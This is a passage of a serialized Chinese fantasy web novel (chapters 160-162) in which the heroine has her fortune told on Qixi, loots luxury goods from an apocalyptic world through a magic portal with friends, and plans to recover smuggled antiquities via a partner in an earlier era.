摊主正要继续解读塔罗牌，黎行墨叉着腰，河豚似的气鼓鼓回来。 云昭昭跟在后面一脸迷茫，不知道是不是受了算命的影响。 萧妧妧兴奋追问：“算出来什么？” 黎行墨在生气，不想说话，云昭昭笑容惨淡：“就、还是那个意思。” 萧妧妧眼睛又是一亮，噌一下弹起，语气热切：“大师在哪，我也去算一卦。” 黎行墨不可置信，缓缓扭头，控诉目光投向跃跃欲试，伸着脖子找大师的萧妧妧。 “不准，他算得一点不准。” 黎行墨气急败坏地嚷嚷，不知道说给萧妧妧听，还是自欺欺人说给自己听。 萧妧妧一边踮脚寻找，目光在附近睃巡，一边连连点头，敷衍地回应一句：“不准不准，我去看看到底有多不准。” 黎行墨见状，气个倒仰。 【作者有话说】 ① 太阳牌：代表着快乐、幸福、乐观和生命力。在感情中，意味着你和你的伴侣正处于一个充满阳光和喜悦的阶段，双方关系和谐，相处愉快，能够充分享受爱情带来的美好。它也象征着感情中的双方内心充满自信和热情，愿意坦诚地展现真实的自己，积极地投入到感情中，彼此之间有着强烈的吸引力和深厚的情感连接。如果是单身状态，太阳牌则预示着会有一段充满希望和欢乐的新恋情即将到来，可能会遇到一个能让你感到开心、充满活力的人。 皇后牌：正位的皇后牌代表着浪漫、感性、温柔以及丰盛。在感情里，这张牌表明你们的关系充满了爱与浪漫的氛围，双方都能感受到对方的体贴和关怀。同时，它也象征着感情的稳定和发展，意味着这段感情有着坚实的基础，能够不断成长和繁荣。皇后牌还暗示着女性在感情中扮演着重要的角色，可能是温柔体贴的伴侣，也可能是关系中的主导者，以其女性的魅力和智慧滋养着这段感情。如果是单身，皇后牌可能预示着你会遇到一个具有丰富内涵、温柔浪漫的对象，或者是你自身需要展现出更多的女性魅力来吸引他人。 世界牌：象征着圆满、成功、和谐与完成。在感情方面，代表着你们的关系已经达到了一个成熟、稳定且充满爱的状态，是一种和谐、平衡和完美的结局。这可能意味着双方在感情中找到了彼此的灵魂伴侣，相互理解、接纳和支持，对这段关系感到非常满足和幸福。如果是单身，世界牌则表示你在感情上已经做好了充分的准备，即将迎来一段圆满的爱情，或者是你会在一个更广阔的社交圈子中找到属于自己的幸福。 综合这三张牌来看，在感情上你有着非常积极的态势。目前可能正处于一段充满快乐、浪漫且稳定的感情关系中，双方都能从这段关系中获得满足和成长，并且这段感情有着美好的未来，有可能走向圆满的结局。如果是单身，那么也预示着你即将遇到一段美好的爱情，或者是你已经具备了吸引美好爱情的特质和条件，幸福就在不远处等着你。不过，塔罗牌的解读只是一种指引和启示，最终的感情走向还是要靠自己的努力和选择。 以上内容出自网络[摊手] 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“沐酒”,灌溉营养液 +3 160 第160章 ◎五路财神追着撒钱◎ 萧妧妧才不管他气成什么样,匆匆撂下一句话，顺着云昭昭指的方向找过去。 “大师，算事业。” 小摊前没人，萧妧妧大迈步过去,人未到,声先至。 一身棉麻衣服,文艺气息十足的青年探头四顾,直到萧妧妧坐在他面前，谦虚道：“不敢不敢,不算大师，自己学着玩。” 黎行聿拒绝了摊主继续解读塔罗牌,掏出手机扫码。 “谢谢惠顾，88元。”摊主出示二维码。 叮一声,转账结束，年轻摊主喜滋滋。 七夕节果然好赚钱,白天占卜晚上捡垃圾,太充实了。 她习惯性看一眼手机确认款项,本是随意一瞥,看到88888倏然愣住,眼睛瞪大，再次确认一遍数。 “一二三……卧槽，8万8！”摊主惊呼出声，随即噌一下跳起,扬声冲着人群喊道：“先生，你输错数了,是88。” 眼看黎行聿即将走远,摊主心急之下丢开塔罗牌和摊位,三两步追出去要给他退款。 她气喘吁吁拦住黎行聿，将手机递到他面前。 黎行聿停下脚步，好心情遮掩不住，“没错，都是给你的，多出来的部分，就当是我对你祝福的感谢。” 摊主闻言顿时愣住，呆呆看着黎行聿走远。 视线挪回手机屏幕，盯了好一会，她才敢相信一单占卜赚了八万，嘴角疯狂上扬。 从震惊中回神，她赶紧截图发给好朋友炫耀。 目睹了一切的黎行墨更气了，气得呼哧呼哧喘气，指着黎行聿的背影说不上一句话。 黎行聿找到萧妧妧的时候，她捧着脸听得认真。 “……事业运前期有波折，会走向不合适的道路，后面找到正确方向，发展得特别好，整体来说，事业运很好，你会遇到很多贵人，我还能看到你的事业和你的姻缘是交缠的，说明你的贵人当中会出现另一半，而且看起来已经很近了，是正缘哦。” 萧妧妧哇声连连，和占卜的小姐姐说法一致，她越发好奇，等着他说下文。 青年摊主翻了翻书，慢吞吞道：“你的另一半看起来很旺妻。” 这话她爱听，萧妧妧瞪大眼睛，心花怒放。 “怎么说？” “你的事业运本身就是比较好的，再有正缘加持，一路顺风顺水。” “你的正缘能给你很多助力，比如钱财上的，情绪上的，包括社交方面。 卦象上显示你们感情挺顺利的，最迟明年有结果。” 最迟明年有结果？ 可她现在单身狗一个，别说桃花，烂桃花都没见着。 萧妧妧垂眸，脑海中闪过一些朦胧隐约的轮廓，她回想，试图勾勒出符合描述的形象。 “还有要算的吗？”摊主问道。 没能深想，思绪如烟雾消散，萧妧妧回神，说起自己放不下心的另一件事。 “有，我之后两*个月打算去国外拍卖行，帮我算算能不能顺利买到我想要的东西。” 萧妧妧挺没底的，拍卖现场情况多变，老藏家都不敢说一定能怎么样怎么样。 比如按照常理说能拍到8000万的东西，说不定5000万就让人拿下。 比如市场行情80万的瓷瓶，拍到200万都拿不下。 意外太多了，萧妧妧空有斗志，其实很没有把握。 “行，给我三个字吧。” 萧妧妧想了想，写了三个吉利的字给他。 摊主算得很认真，一会上网查，一会翻书，然后又写写画画盘手指，像电视剧里那样掐算。 “小六壬算出来的结果还不错，刚开始小吉，说明前期工作做得充分，势能充足，过程中稍微磕绊了点，会遇到阻碍，涉及资金，比如出现短缺的情况，有人和你竞争啊什么的，但是结果比较好。 你看，速喜是好卦，意思是说会有人帮你一把，快速搞定事情，最终有一个令你满意的结果。” 听到最终有满意结果，萧妧妧长舒一口气。 果然是资金出了问题，回去她就多赚点钱！ 萧妧妧又问了最后一个问题，含糊带过细节，只说自己的困难。 “卦象告诉我不要着急，顺其自然，会有贵人帮你解决你在烦扰的事情。” 心理上得到了安慰与指引，又得到了积极的暗示，萧妧妧信心大增。 甭管准不准，就当做了个心灵马杀鸡，不亏。 “我以为年轻人不会相信这些。”黎行聿旁观了一阵，淡笑着看她付出去三百块的巨款。 199抽盲盒嫌贵，388占卜算命眼睛不眨，确实该省省该花花。 萧妧妧摇头晃脑，一副你不懂的嘚瑟表情：“我们年轻人只信好的，不信坏的。比如左眼跳财，右眼跳眼睑痉挛，这叫玄学与科学的梦幻联动。” 她有理有据的胡说八道，理不直气也壮，黎行聿忍俊不禁。 多出占卜算命这一环节，黎行墨没有心思继续逛，提前预定的烛光晚餐提都不提，嚷嚷着要回家。 “七夕节就该在床上过，逛街有什么意思。” 云昭昭脸颊爆红，狠狠剜他一眼，萧妧妧望天望地，假装没听见虎狼之词。 回去的路上，萧妧妧一派轻松，小嘴叭叭介绍沿街的一切。 黎行墨独自生闷气，计划好的情人节约会变成四人行，什么占卜算卦没一个合他心意。 云昭昭也沉默着，一路心不在焉。 黎行聿心情肉眼可见的好，会配合萧妧妧的介绍深入话题。 黎行墨看前面两人你来我往，聊得面红生光，津津有味，再看身旁的云昭昭，垂头耷脑，越发郁闷。 到底是谁在过情人节啊！ 比预计时间提前回来，孟甜甜诧异地问了一句：“不是情人节吗？这么快就回来了？” 萧妧妧露出一言难尽的神情：“别提了，小情侣闹别扭，我和另外一个朋友当了一路电灯泡，不敢靠太近，也不敢走太远。 好不容易分开，又被人当成情侣，你不知道，路上起码有三个小孩硬要塞给我玫瑰花，太尴尬了，幸好我躲得快。” 孟甜甜听完她的吐槽，看她得意洋洋的骄傲样子，无语摇头。 “钢铁直女。” 萧妧妧没听清，仰头问：“什么？” 孟甜甜转身去找防寒服：“没什么，先过去等你。” 萧妧妧自己开小卖部，卖的全是她爱吃的东西，不忙的时候嘴里零食没断过，这会扒了半碗饭，肚子饱饱的，忙丢下碗筷跟过去。 孟甜甜换上轻便的鞋子，头戴手电固定好，拎起老奶奶买菜用的小拉车往末世世界钻。 萧妧妧盘腿坐在结界前，兴奋异常。 遵纪守法二十多年，干点违反犯罪的事实在太刺激了。 孟甜甜藏在商场二楼的消防通道里，身后楼梯淹了大半，知道萧妧妧好奇末世是什么样，便先展示了下周围环境。 萧妧妧隐约听到嘶吼声，膨胀的探究欲瞬间缩回来，催她赶紧办正事。 一楼是化妆品护肤品以及黄金，二楼三楼是国际一线奢牌，四楼是奢牌服装和珠宝，她们的目标正是2-4楼。 虽然不是萧妧妧亲自动手，但她指哪，孟甜甜伸手就捞起来，和自己零元购没什么区别。 才进一家店，没走出几步，小拉车塞得满当当，孟甜甜像倾倒垃圾一样，推着拉车进小卖部，往地上一倒。 高不可攀的奢侈品包包哗哗哗散落开，滚到脚边尚能感觉到寒气，零元购的实感大爆发，萧妧妧感觉自己充满了力量，肾上腺素飙升。 说好要帮她注意周围情况，警戒丧尸出没，才开始逛，萧妧妧全然忘记任务，沉浸在零元购中。 七八千的衣服鞋子，二三万的包包，四五十万的手镯，七八十万的戒指耳环，二三百万的项链……手电筒打下去，火彩差点闪瞎眼，萧妧妧根本顾不上，睁大眼睛挑选。 东西越堆越多，萧妧妧心口怦怦跳，高仿她都不敢这么买，何况是可以拿去二手市场变现的真货。 “这件礼服好看，适合你。” “你看这条祖母绿项链，是不是和上一家店抢的那条裙子特别搭？” “妧妧你看，这个牌子你们那里没有，在我们这里可有名了。” 一线奢侈品一件不落的往小卖部塞，认不出牌子的她也不嫌弃，挑了自己喜欢的送过来。 塞着塞着，话题渐渐偏移，讨论起搭配，两人像逛街一样挑选起来，快活得很。 结界入口堆出小山尖的时候，萧妧妧迟钝想起给店门落锁，贴出故障提示，引导顾客去189号，188号彻底封闭，方便走私。 苏娇娇忙了许多天，好不容易找到机会来小卖部，一进门差点以为走错地方。 “你们这是……” 她蹲下身，捡起脚边首饰盒打开，一条红宝石项链熠熠生辉。 放下首饰盒往前走一步，单肩包的金属链条缠住她脚尖。 环顾四周，竟是没有可以下脚的地方，举步维艰啊。 萧妧妧盘腿坐在一堆奢侈品中间，对比某奢牌蓝宝石和她的无烧蓝宝石哪个更好，忽然听到苏娇娇声音，眼睛晶亮，招手催她上前。 “娇娇姐，你喜欢哪个？随便挑，我送你。” 在苏娇娇所处年代，钻石是不可多得昂贵珠宝，冷不丁见它们不要钱似的摆了一地，苏娇娇只觉得眩晕。 萧妧妧见她久久没动静，好一会反应过来，连忙扒拉一通，把东西堆到另一边。 苏娇娇踮着脚踩在空地，大迈步跳过来。 她刚站定，结界荡起水波纹，唰唰唰，三件不同颜色的长裙扔了进来，与之一起的还有孟甜甜的声音。 “妧妧，你看看哪个颜色合适。” 萧妧妧对比一会，看哪个颜色都喜欢，大声回：“选不出来，我全要了。” 孟甜甜比了个手势，扭身往隔壁一家轻奢珠宝店走。 苏娇娇惊呆了：“你们是在购物？” 萧妧妧：“差不多，零元购也是购。” 说几句话的工夫，孟甜甜又扔了几盒手链进来。 苏娇娇瞄一眼，不禁咋舌。 萧妧妧痛并快乐着，这么多东西不知道收拾到什么时候，自己的衣帽间不大，塞不下它们，得抽空去熙园的那套大平层。 苏娇娇有事找来，进小卖部没一会，事情抛之脑后，忍不住跟着萧妧妧孟甜甜一起疯狂零元购。 “甜甜，选那双红底的高跟鞋，那个好看，帮我拿一双37码的。” 萧妧妧定睛一看，确实漂亮，忙道：“多拿一双，我也喜欢。” 孟甜甜唉了一声，唰唰扔进来两双鞋子。 萧妧妧和苏娇娇便在这边接应，分类摆放它们，以便收拾。 萧妧妧上头，苏娇娇比她更上头，三个女人快要乐疯了。 直到商场的四层楼全部扫荡一空，孟甜甜终于抽出时间回来一起收拾。 贵重的珠宝单独收集起来，用蛇皮袋捆好，收进客房暂放。 衣服鞋子挂在抢来的衣架上，等待后续安排。 包包最多，喜欢的不喜欢的一大堆，背又背不过来，萧妧妧全部塞进蛇皮袋，往角落一堆。 抢的时候只顾满足自己的贪欲，什么都要，这会收拾的时候发现，许多杂七杂八用不上的东西。 丢回去是对前面几个小时的扫荡工作不尊重，留下又无处安放。 萧妧妧从来不知道自己会因为奢侈品太多而苦恼的一天。 三人坐在奢侈品堆里挑挑拣拣，苏娇娇不好意思拿太多，萧妧妧硬塞的情况下，挑出四条钻石项链，带回去换成金条用于地下活动。 孟甜甜本来不想要它们，全部留给萧妧妧，被她一句“会有机会穿出去”打动，留下几件漂亮裙子和首饰。 大致清理一遍，小卖部结界附近不再是乱七八糟，三人齐刷刷躺在摇椅上。 吱呀吱呀晃了一阵，萧妧妧忽然侧头看向一旁：“娇娇姐，你的船准备好了吗？第二批货基本都到了，我哪天给你送过去？” 说到这批货，苏娇娇一拍脑门坐起身。 “瞧我，我这次来就是说这事，船到了，我怕被人发现，这次换了个地方，晚一点你帮我把粮食送过去。” 萧妧妧连声答应：“你再不来，我的仓库可就塞不下了。” 老式缝纫机占地方，米面粮油也不少，再加上陆续送来的仿古布料，189两间库房差点挤爆。 苏娇娇笑了笑：“这一批货运过去，够撑一阵子，后面先暂停囤粮，我要去一趟海城。” 萧妧妧想了想，应该是到和男主合作的剧情了吧，可惜她没看过具体内容，一点忙帮不上。 苏娇娇又道：“我听说海城有几家大古董行，其中一家叫富源斋①的势头强劲，和我们小城市的古董行完全不一样，到时候我帮你挑几件。” 萧妧妧正遗憾懊恼，听到富源斋三个字，耳尖微微一抖。 “富源斋？卖古董的富源斋？还是在海城？” 她突然提高音调，苏娇娇不明所以，愣愣点头。 萧妧妧忙不迭查出富源斋店主的名字，送到她面前：“是这个人开设的富源斋？” 苏娇娇回想管家送来的消息，再次点头确认。 萧妧妧紧盯苏娇娇，见她笃定点头，呼吸一滞，不自觉吞了吞口水。 这算什么，五路财神追着撒钱，老天奶追着喂饭吃？！ 萧妧妧激动不已，腾一下弹起，背着双手，小老头似的在院中来回踱步。 【作者有话说】 ①参考原型福源斋 福源斋：店主戴福保，后以雅号戴润斋行天下。1938年，戴福保在上海法租界的广东路开设“福源斋”古董店。他凭借独特眼力与购藏古董的不凡能力，在上海古董界闯出响亮名号。后来他移居美国，在麦迪逊大道810号开设戴润斋古董店，成为战后最知名的中国古董商。 [资料来自网络，正文做虚构处理] 160-170 161 第161章 ◎百利无一害◎ 这事大有可为！ 但……需要从长计议。 系统开启了古董专属防范功能,同一位面不能出现两件一模一样的文物。 哪怕她关闭功能，苏娇娇能带回来古董文物什么的，系统也会自动修复，上演一出消消乐,最终两败俱伤。 这不是萧妧妧想要的结果。 苏娇娇见她越走越快,越走越急,急得在院子里团团转。 她忍不住问出声：“富源斋有什么不对？” “没有不对,太对了！娇娇姐你等等，等我好好捋捋思路。” 萧妧妧看过纪录片,富源斋老板在海城古玩圈子混的风生水起，一度把生意做到国外,在古玩交易领域可谓是重量级人物，他经手收售的古董均属精品。 换句话说,闭着眼睛买都行。 可问题在于后者，闭眼买入后如何顺理成章落入她手？ “娇娇姐,海城有一家雪霁轩的古董行吗？” 冥思苦想之时,萧妧妧又想起了另一个在关键角色,神情严肃。 苏娇娇没有立刻回答,仔细回想管家递来的信件,迟缓道：“好像是有这么一家，不过是新开设的，没什么名气。” 顿了顿，苏娇娇意会过来,忙接话：“这家很厉害？” 萧妧妧耸了耸肩，意味不明的语气说：“某种程度来说,这家店老板确实有点本事,可惜了,干得走私文物的勾当。” 苏娇娇神情微顿，完全没想到萧妧妧随口就说出这么重要的事。 “等等，你是说，雪霁轩走私文物？” 萧妧妧点点头，又摇摇头：“确实有这么回事，都判刑了，不过眼下不好乱说，这不是才开业嘛。” 苏娇娇闻言稍稍松了一口气。 “你放心，这件事我会派人盯着，如果真有情况，我再汇报上去。”她郑重说道。 萧妧妧挠头，迟疑道：“其实，我想试试让你买下那些走私出去的文物，可是我没想好怎么安排，有些关窍没能打通。” 苏娇娇：“我买下，然后转到你手上？” 萧妧妧：“不应该叫我的手上，而是通过我回到我们自己的博物馆。 娇娇姐你不知道，雪霁轩走私文物的文物中，有许多至今还摆在国外的博物馆展览。” 怕她不信，萧妧妧特意去网上搜了视频。 苏娇娇稀里糊涂接过手机，这一看不得了，本就不太好看的脸色气得煞白。 “这群畜牲！”她震惊得无以复加：“这里面的文物……都落在外国人的博物馆里？” 苏娇娇一直知道有人偷摸干着走私的勾当，也帮着查出线索过，但知道归知道，远不如她亲眼看见来得有冲击力。 瓷器、古籍、金玉……本该是老祖宗传给后人的珍宝，如今全成了他人炫耀的工具。 苏娇娇气得脸色忽青忽白，又为流落在外的文物痛惜不已，心绪久久不能平静。 “这不是你一个人的事，妧妧，把你的顾虑说出来，我和你一起想办法。” 萧妧妧踌躇，抱着膝盖蹲下，啃起指甲。 “不能说吗？”孟甜甜道。 萧妧妧痛苦地抱紧脑袋：“我只是，不知道怎么说，总觉得有什么重要线索被我忽略了。” 答案触手可及，却始终隔着一层薄纱，实在太难受了。 萧妧妧痛苦抓头，真是完蛋啊，她算是体会到脑子生锈还要拼命转动的无力感。 苏娇娇想说什么，见她努力沉静下来，重新整理思路，只好闭口不言。 直到凌晨两点，她不得不打断焦灼抠脑袋萧妧妧。 “妧妧，时间差不多了。” 萧妧妧猛地抬头，两眼空洞地望了望天。 回去就补补脑，这木头脑袋怎么就想不到一点办法呢。 她有气无力地应了一声，赶忙站起。 “嘶！” 脑子不好用，身体也那么废……萧妧妧捶了捶麻木僵硬的双腿，毫不留情地吐槽自己。 一瘸一拐去189号库房，物资收进空间，萧妧妧慢一步赶去小卖部。 苏娇娇先一步回了对面，正和她的管家商量什么，萧妧妧没听清，等人离开，接受到苏娇娇的信号，熟门熟路开始物资运送工作。 三下五除二，前后不超过5分钟，苏娇娇准备的五艘货船装得满当当，船身沉下去半米。 苏娇娇检查一遍，确认没问题，扭身钻进芦苇荡联系管家。 两人叽里咕噜交流几句，管家转身回去叫人，老一套流程。 萧妧妧觉得他们说话腔调怪有意思，似曾相识，粗着嗓门模仿。 念叨了两遍，萧妧妧倏然停顿。 “娇娇姐，你和管家说得哪里的话？” 苏娇娇这次选择的停靠位置偏僻，又是突然安排，一时半会不会有人赶来，于是遮掩一二便回到小卖部。 “云城的话，我们那里的土话，怎么了？” 萧妧妧神情复杂：“云城到底在哪里？” 苏娇娇不知道她为什么问起云城，措辞片刻道：“云城在两省交界，左临富安，右与西省交界。” 她说出的两处地名，萧妧妧恰巧都知道，三次元存在的地级市。 但它们之间什么时候有个云城了？ 萧妧妧隐约抓到了一点线索，不肯轻易放弃，让她稍等一会，当场打印地图。 “娇娇姐你再看看，云城在地图上的哪一处。” 苏娇娇见她神情严肃，不由认真起来。 “在这里，一定没错，河流分布一样，地形也一样，是这个叫临城的地方。” 好一会，苏娇娇终于在老版地图上找到了熟悉的轮廓。 萧妧妧接过地图，对照着去找新版地图上显示的城市名称，确定名称后，她忙不迭掏出手机查找信息。 苏娇娇一头雾水，疑惑的去看孟甜甜，孟甜甜耸肩，同样不明白萧妧妧在忙什么。 正当两人面面相觑之时，萧妧妧深呼吸，放下手机，吐出一口浊气。 苏娇娇望过去，萧妧妧紧缩的眉头舒展，神情稍显轻松。 “你找到办法了？” 萧妧妧缓缓点头，双眼绽放精光，隐约能看出她神情中的懊恼：“我真是太蠢了。” 她早该发现蹊跷的，偏偏被自己先入为主的定义给框死，忽略了一而再再而三的提示。 要不是听苏娇娇和管家用方言交流，她也不会想起来求证。 说起来巧合，萧妧妧假期进剧组拍戏的时候就演过需要用方言说台词的角色，不过那是临城方言，可不是什么云城。 幸好萧妧妧多问了一句，否则不知道什么时候才能发现。 三次元确实有过一个叫云城的城市，后来地域重新划分，云城改为县级市并入临城，此后没有云城，只有大家熟知的大型城市临城。 萧妧妧可不是为自己开脱，那时候她爸妈都没出生呢，而且这也不是什么地理历史必考点，真不怪她不知道这回事。 也因为云城这个陌生的城市名，以及系统自动选中不同小说世界的主配角做为客户，萧妧妧坚定相信苏娇娇和她是两本书、两个位面的人。 她们的世界，有重叠，却独立。 直到此刻，萧妧妧完全推翻了自己的想法。 未免一场空欢喜，她再次求证：“娇娇姐，你那里有一个叫南市的城市吗？” 停顿两秒，萧妧妧改口：“不对，那时候还不叫南市，叫南州。” 苏娇娇愣愣点头：“确实有一个叫南州的，离海城和云城都挺近。” 说完，她自己恍惚意识到了什么，但她的信息储备远不如萧妧妧，无法深入联想。 “南州我熟悉的，苏家在南州有置办过产业……”这下轮到苏娇娇来回踱步，绞尽脑汁回想：“对了，在月牙巷。” 她倏地停下脚步，瞪大眼睛望向萧妧妧。 “妧妧，我记得你的铺子是开在月牙巷吧？” 苏娇娇吞了吞口水，只觉得思绪越来越乱，又越来越清晰，即将抓住什么，却又不得其法。 萧妧妧稳住心神，说出自己的猜测：“不出意外，我们来自同一个位面，差别处于不同时间节点。” 有太多次机会发现这一真相，可萧妧妧就像瞎了一样。 盛芳阁、丽云酒店、富源斋、雪霁轩、京城、海城、南市……一一对应上。 两个位面出现相同事物，从半架空的角度来解释，倒可以说得通。 毕竟是小说嘛，作者出自同一世界，受到相同教育，认知大差不差的前提下，基于现有的体系观创造出小世界，设定重叠在所难免，除非完全虚构。 比如龙傲天、爱丽丝所在位面，完全独立。 又比如孟甜甜的末世，典型的半架空，萧妧妧这里有的奢侈品牌她那里一个不缺。 假如把她所存在的三次元设定为主位面，龙傲天和爱丽丝来自独立位面，他们自成体系。 孟甜甜、柳如烟、申明月三人是另一派，可以当做是强关联的平行位面来看。 这就很好的解释，为什么申明月所学古文能对应上三次元的甲骨文，同时能看得懂萧妧妧这里的繁体字。 而苏娇娇和他们都不一样。 她和萧妧妧来自同一位面，她们是同一个世界的人，在历史的长河中，一个处于上游，一个在下游。 上游往贝壳里洒了一把砂砾，下游捡起贝壳挖出珍珠。 福瓶寿瓶可以完美证明这一点。 还有系统针对位面bug的文物防范功能，明显是为了苏娇娇萧妧妧这种情况而诞生。 仔细想想，除了苏娇娇以外，还有谁能拿出三次元同款文物？ 也只有苏娇娇。 以往所有被她忽视的线索串联起来，萧妧妧豁然开朗。 想通了，全部想通了，蒙住双眼的纱揭开，堵在耳道里的棉花消失，神清气爽。 她懊悔地捶了捶脑袋，暗暗自责，这么重要的事，她怎么现在才意识到。 早在福瓶出现的那一刻她就应该察觉蹊跷，孟有树找到家藏的那一刻，她就该彻底明白过来。 一叶障目，她那时候坚定认为彼此存在于不同位面，根本没有深入探究的念头。 还好，不算太晚。 看清这一点，一个大胆至极的想法在脑海里盘旋，冲得她头晕目眩，挥之不去。 萧妧妧心中不由得涌起惊涛骇浪，连自己都被吓了一跳。 想归想，她却不敢轻易付诸行动。 改变历史进程没那么容易，谁知道她想要的改变，会不会反过来促成了本该发生的历史事件？ 而改变，真的就一定能如她所愿，向好的态势发展吗？ 蝴蝶效应太可怕了，不可预测，萧妧妧担负不起后果，光是想想后果就压得她喘不过来气。 萧妧妧陷入两难，一时间拿不定主意。 眼下不是思考哲学历史的时候，思绪发散片刻赶紧收束，注意力放在当下。 回过神，面前两人神色各异。 孟甜甜同为现代人，接受过驳杂信息，当即明白萧妧妧的意思。 苏娇娇不然，她对这些概念一无所知，听不懂什么位面什么时空，理解不了时间节点什么的。 面对苏娇娇困惑的目光，萧妧妧迟疑了，不知道该不该解释清楚。 沉思半晌，心乱如麻，想不出头绪，她决定先按下不提。 冷静下来后，萧妧妧组织语言，郑重道：“娇娇姐，这件事很重要，我需要你帮我做个实验。” 苏娇娇见她神情严肃，立刻意识到事情的严重性，端正态度，用同样严肃认真的语气回应。 “你放心，我能做到的一定帮。” 尽管目前都还只是她的猜测，但萧妧妧已经有七八分把握。 事关重要，只有七八分把握可不够，她需要通过一些事情来验证她的猜测，让七八分变成十分。 一旦成功验证，不仅能让流失海外的文物顺理成章回归，她的汉锦也能名正言顺的出现在世人眼前。 对她自己而言，亦是一次千载难逢的机遇。 不管怎么盘算，百利无一害！ 【作者有话说】 不知道解释的算不算清晰，大概这么个意思。 郑重申明：不能改变历史也不会改变历史（这个应该都知道原因吧？）后续情节不会详细写这一点，仅在文物方面展开 感谢读者“阿若”,灌溉营养液 +20 感谢读者“婷婷”,灌溉营养液 +1 162 第162章 ◎盘点小金库◎ 得到苏娇娇肯定回应,萧妧妧心头火热，恨不得马上行动起来。 只是眼下有更重要的事待办，而且苏娇娇一时半会抽不开身。 “你同意就好，等你去了海城,我再把计划告诉你。” 具体要怎么测试,她还要再仔细考虑考虑,最迟也能赶上年前的专拍。 想到这一点,萧妧妧便没那么急切了，把心放回肚子里。 苏娇娇一口应下,事情记在心里。 三人正说着话，结界另一边有窸窸窣窣的动静。 苏娇娇察觉到异常,闪身离开。 “苏同志，俺们来搬粮食了,谢指导跑不过俺们，落在后面哩。” 才出船舱,看到率先登船的小战士,苏娇娇猛吸一口气,暗道一句幸好,幸好她够警醒,动作足够快。 “辛苦你们了，回回半夜打扰大家。” 小战士咧着嘴憨笑：“苏同志太客气了，您冒着风险筹集物资才辛苦，您不知道,俺们巴不得苏先生每天晚上打扰呢。” 说话的工夫，陆续有后勤战士推着小车赶来,蜿蜒的芦苇小路看不见尽头,只能从摇摆的芦苇叶判断出人数不少。 再慢一步,可就要被撞破秘密了。 苏娇娇点了灯挂上，安排他们依次运送。 “苏同志，这回有布鞋吗？上次分给俺们的鞋子可舒坦了，俺们队的都舍不得穿。” 苏娇娇笑着回：“放心大胆的穿，鞋子只多不少。” 又有年轻小战士边运米面，边插话：“苏同志，这次还是那位海外侨胞援助的吗？俺之前听家里人说，这两年收成不好，这么多粮食得不少钱呢。” 苏娇娇含糊回应：“是啊，还是那位萧女士，她可真是个大善人，也不知道从哪筹集的粮食，不管怎么说，咱们受益了。” “苏同志，这里怎么还有缝纫机？” 另一艘船，有人觉得麻布裹着的东西有点奇怪，揭开一口，惊呼出声。 话音没落下，周围听到惊呼声的战士哇声连连，急切地踮脚探望。 苏娇娇提着灯，看大家神采飞扬，眼眸里闪烁着欢喜的光芒，不禁泛起笑容。 “缝纫机一共30台，麻布1000匹，过不了几日，大家就能穿上新衣服啦。” “真好，有新衣服穿了。” “何止，我看里面还有棉花，今年的棉衣也有着落了。” “这得花不少大洋吧？外头到处物资短缺，这、这五艘船的粮食布匹……” “苏同志，辛苦你了，谢谢。” “对，快谢谢苏同志。” 不知谁带的头，此起彼伏的道谢在芦苇荡里飘扬开。 苏娇娇目光一一从战士们脸上划过，心里五味杂陈。 苏娇娇声音轻柔却不失恳切，道：“我和萧妧妧女士也谢谢大家的奉献。” 说话声隐约传来，萧妧妧和孟甜甜略等了等，没什么异常状况，各自回去洗漱。 今天忙得太晚，萧妧妧懒得回家，在189号的小卧房里将就一晚上。 即将陷入沉睡时，她突然坐起。 原来，这就是大师说的顺其自然啊。 第二天天蒙蒙亮，萧妧妧安排好营业事宜，钻进客房整理奢侈品。 10万以下的暂且放一边，她优先挑出官方售价在40万以上的爱马仕。 每挑一个萧妧妧就要对照官网比对，防止拿到不存在的款式引起怀疑。 她一共挑出来20只欣赏不来的丑包，总价值将近2700万。 考虑到二手店吃不下太多，她又挑挑捡捡，选出两只40万元左右的包，准备晚些时候拿去变现。 再就是珠宝，高奢珠宝多有品牌溢价，售价100万，二手市场恐怕只能换来50万不到。 至于其他杂货，比如七八千的宠物项圈，拿去二手店不一定有人收。 萧妧妧一边了解二手市场行情，一边在成堆的奢侈品里做选择。 半个上午的工夫，她挑出了一堆自己用不上又不喜欢，但是值点钱的东西。 午饭过后，萧妧妧盯上了隔壁区的几家奢侈品回收店，背着大包小包找过去。 珠宝不愁卖，通过鉴定后迅速脱手，换来800多万的进账。 名牌包稍次，也可能是她运气不好，跑了五家店，只有两家店能吃得下。 萧妧妧拿不出购买凭证和包装盒，回收价比一般行情略降了一些，胜在零元购没有中间商，十成新的包包也换来不少钱，纯赚。 回到小卖部，萧妧妧的账户多出910万，估摸能买下一只珐琅碗。 站在客房门口，看自己折腾出来的乱象，萧妧妧叹气，认命地收拾。 哪些要送回熙园大平层自用，哪些留着慢慢出手，哪些适合当礼物送人，萧妧妧全部考虑进去，分门别类摆放。 这一忙，下午时间直接溜走大半。 萧妧妧环顾一圈，确定没有遗漏，关上门盘点小金库。 首当其冲是清点她的黄金存量。 既然打定主意要拜托苏娇娇买下走私出去的文物，钱是重中之重。 刚好囤积下来的金条有许多，除了给苏娇娇送去一些买古董，几乎没怎么花。 十两的一堆，五十两的又是一堆，一堆又一堆黄金占满客房的空地。 萧妧妧清点过后，惊喜非常。 一共153100千克！ 还有许多爱丽丝送来的金币没算进去，实际黄金存储量只多不少。 苏娇娇那里局势越发动荡，古董珍宝大跳水，一天一个价，甚至比不上药品值钱。 同一件宋瓷，半月前或许五十根（一两重）小黄鱼，现在只需十根，未来或许更便宜。 当然，所谓跳水大降价只是对萧妧妧而言，对那个时代的许多人仍旧是高不可攀的天价。 无论怎么算，153100千克黄金的购买力都相当强悍。 萧妧妧统计完数据，优先挑出从苏娇娇那里赚来的金条，小黄鱼（一两重）100根，大黄鱼（十两重）50根，家族珍藏大黄鱼pro（五十两重）20根。 又在对比几个位面的黄金纯度后，选出申明月送来的金锭，十两的1000锭，五十两的500锭。 以上金条金锭堆放在一起，等苏娇娇忙完这一遭交给她继续代购。 至于孟甜甜送来的999纯金条，萧妧妧一股脑丢空间自留，其他金条看情况消耗或兑现。 小金库收拾得明明白白，萧妧妧长吐一口气，后脑勺一仰，倒在榻榻米上。 说出去谁敢信啊，存款3.5亿多仍不够用。 买点奢侈品不在话下，买古董艺术品真不够看的。 萧妧妧歇了一会，手机提示音响起，储蓄卡进*账210万。 不用问，肯定是孟甜甜又帮她做了一单生意。 真好，今天的日收也过千万了呢。 萧妧妧扬起幸福微笑，很快振作起来。 她刚要爬起去店里看看情况，客房门咚咚咚响。 